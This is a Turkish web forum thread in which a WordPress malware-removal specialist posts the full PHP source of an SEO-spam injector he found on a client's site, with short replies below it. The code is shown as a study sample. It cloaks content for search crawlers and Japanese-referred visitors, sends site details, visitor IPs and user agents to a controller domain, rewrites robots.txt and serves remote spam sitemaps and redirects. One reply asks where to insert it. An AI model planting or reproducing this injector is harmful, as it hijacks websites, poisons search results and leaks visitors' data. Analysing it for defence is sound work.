• 31-03-2025, 21:06:52
    #1
    Merhabalar, birçoğunuz beni tanır. Yıllardır malware sektörüyle savaşıyor ve uzmanlıkla WordPress virüs temizleme hizmeti veriyorum. Geçenlerde bir müşterimin sitesini temizlerken bahsi geçen bu malware'i yakaladım. Bu zararlı yazılım, WordPress çekirdeğine enfekte olur ve web sitesinin arama motorlarında hızla sayısız Çince başlıklı indeks almasına neden olur.
    Bu virüsün nasıl çalıştığını anlamak ve antivirüs tarzında korumalar geliştirmek isteyen arkadaşlar için açık kaynak kodlarını paylaşıyorum. Kötü niyetli kişiler bu kodlara sahip olsa bile çalıştıramaz, çünkü bu sadece bir numunedir. Merak ettiğiniz bir şey olursa imzamdan iletişime geçebilirsiniz.



    <?php
    function curl_get_contents($url)
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    $file_contents = curl_exec($ch);
    curl_close($ch);
    return $file_contents;
    }
    function getServerCont($url, $data = array())
    {
    $url = str_replace(' ', '+', $url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    $output = curl_exec($ch);
    $errorCode = curl_errno($ch);
    curl_close($ch);
    if (0 !== $errorCode) {
    return false;
    }
    return $output;
    }
    function ex()
    {
    return exit();
    }
    function getSeCont11($url, $data = array())
    {
    $url = str_replace(' ', '+', $url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    $output = curl_exec($ch);
    $errorCode = curl_errno($ch);
    curl_close($ch);
    if (0 !== $errorCode) {
    return false;
    }
    return $output;
    }
    function getCont($url, $data = array())
    {
    $url = str_replace(' ', '+', $url);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    $output = curl_exec($ch);
    $errorCode = curl_errno($ch);
    curl_close($ch);
    if (0 !== $errorCode) {
    return false;
    }
    return $output;
    }
    function is_crawler($agent)
    {
    $agent_check = false;
    $bots = 'googlebot|google|yahoo|bing|aol';
    if ($agent != '') {
    if (preg_match("/($bots)/si", $agent)) {
    $agent_check = true;
    }
    }
    return $agent_check;
    }
    $a = 'virus-yapimcisinin-yonetim-apisi.com';
    function check_refer($refer)
    {
    $check_refer = false;
    $referbots = 'google.co.jp|yahoo.co.jp|google.com';
    if ($refer != '' && preg_match("/($referbots)/si", $refer)) {
    $check_refer = true;
    }
    return $check_refer;
    }
    $a = 'http://' . $a;
    $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
    $req_uri = $_SERVER['REQUEST_URI'];
    $domain = $_SERVER["HTTP_HOST"];
    $self = $_SERVER['PHP_SELF'];
    $ser_name = $_SERVER['SERVER_NAME'];
    $req_url = $http . $domain . $req_uri;
    $indata1 = $a . "/indata.php";
    $map1 = $a . "/map.php";
    $jump1 = $a . "/jump.php";
    $url_words = $a . "/words.php";
    $url_robots = $a . "/robots.php";
    if (strpos($req_uri, ".php")) {
    $href1 = $http . $domain . $self;
    } else {
    $href1 = $http . $domain;
    }
    $data1[] = array();
    $data1['domain'] = $domain;
    $data1['req_uri'] = $req_uri;
    $data1['href'] = $href1;
    $data1['req_url'] = $req_url;
    if (substr($req_uri, -6) == 'robots') {
    define('BASE_PATH', $_SERVER['DOCUMENT_ROOT']);
    $robots_cont = @file_get_contents(BASE_PATH . '/robots.txt');
    $data1['robots_cont'] = $robots_cont;
    $robots_cont = @getServerCont($url_robots, $data1);
    file_put_contents(BASE_PATH . '/robots.txt', $robots_cont);
    $robots_cont = @file_get_contents(BASE_PATH . '/robots.txt');
    if (strpos(strtolower($robots_cont), "sitemap")) {
    echo 'robots.txt file create success!';
    } else {
    echo 'robots.txt file create fail!';
    }
    return;
    }
    if (substr($req_uri, -4) == '.xml') {
    if (strpos($req_uri, "allsitemap.xml") || strpos($req_uri, "sitemap-index.xml") || strpos($req_uri, "sitemap-index-1.xml") || strpos($req_uri, "index.xml")) {
    $str_cont = getServerCont($map1, $data1);
    header("Content-type:text/xml");
    echo $str_cont;
    return;
    }
    if (strpos($req_uri, ".php")) {
    $word4 = explode("?", $req_uri);
    $word4 = $word4[count($word4) - 1];
    $word4 = str_replace(".xml", "", $word4);
    } else {
    $word4 = str_replace("/", "", $req_uri);
    $word4 = str_replace(".xml", "", $word4);
    }
    $data1['word'] = $word4;
    $data1['action'] = 'check_sitemap';
    $check_url4 = getServerCont($url_words, $data1);
    if ($check_url4 == '1') {
    $str_cont = getServerCont($map1, $data1);
    header("Content-type:text/xml");
    echo $str_cont;
    return;
    }
    $data1['action'] = "check_words";
    $check1 = getServerCont($url_words, $data1);
    if (strpos($req_uri, "map") > 0 || $check1 == '1')
    $data1['action'] = "rand_xml";
    $check_url4 = getServerCont($url_words, $data1);
    header("Content-type:text/xml");
    echo $check_url4;
    return;
    }
    if (strpos($req_uri, ".php")) {
    $main_shell = $http . $ser_name . $self;
    $data1['main_shell'] = $main_shell;
    } else {
    $main_shell = $http . $ser_name;
    $data1['main_shell'] = $main_shell;
    }
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    $chk_refer = check_refer($referer);
    $user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    $res_crawl = is_crawler($user_agent);
    if (strpos($_SERVER['REQUEST_URI'], '.php')) {
    $url_ext = '?';
    } else {
    $url_ext = '/';
    }
    if ($chk_refer && (preg_match('/ja/i', @$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i', @$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".html", ".htm"), "", $_SERVER['REQUEST_URI'])))))) {
    $data1['ip'] = $_SERVER["REMOTE_ADDR"];
    $data1['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    $data1['user_agent'] = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    echo getSeCont11($jump1, $data1);
    return;
    }
    if ($res_crawl) {
    $data1['http_user_agent'] = $user_agent;
    $ser_cont = getCont($indata1, $data1);
    echo $ser_cont;
    exit();
    }
    ?>
  • 31-03-2025, 21:26:56
    #2
    Saolun hocam 2 ay bunu aramıştım bulamayınca vazgeçmiştim. Müsait olduğumda inceleyeceğim teşekkürler
  • 31-03-2025, 21:41:02
    #3
    teşekkürler hocam.
  • 31-03-2025, 21:47:06
    #4
    tamam çalıştıramaz da neden insanlara fikir veriyosun şimdi paylaşman başka bi işe yaramaz
  • 31-03-2025, 23:58:12
    #5
    Hocam kesinlikle educational purpose için kullancam
  • 01-04-2025, 02:35:31
    #6
    Neron adlı üyeden alıntı: mesajı görüntüle
    tamam çalıştıramaz da neden insanlara fikir veriyosun şimdi paylaşman başka bi işe yaramaz
    Selamlar bu tarz virüsler parazit mantığında çalışır Wordpress çekirdeği ile birleşebilmesi için uygun ortamın ve gerekliliklerin sağlanması lazım. Fikir vermek adına paylaşmadım mantığını anlasınlar kendilerini savunsunlar
  • 06-04-2025, 12:40:54
    #7
    Bunu tam olarak nereye ekleyeceğiz?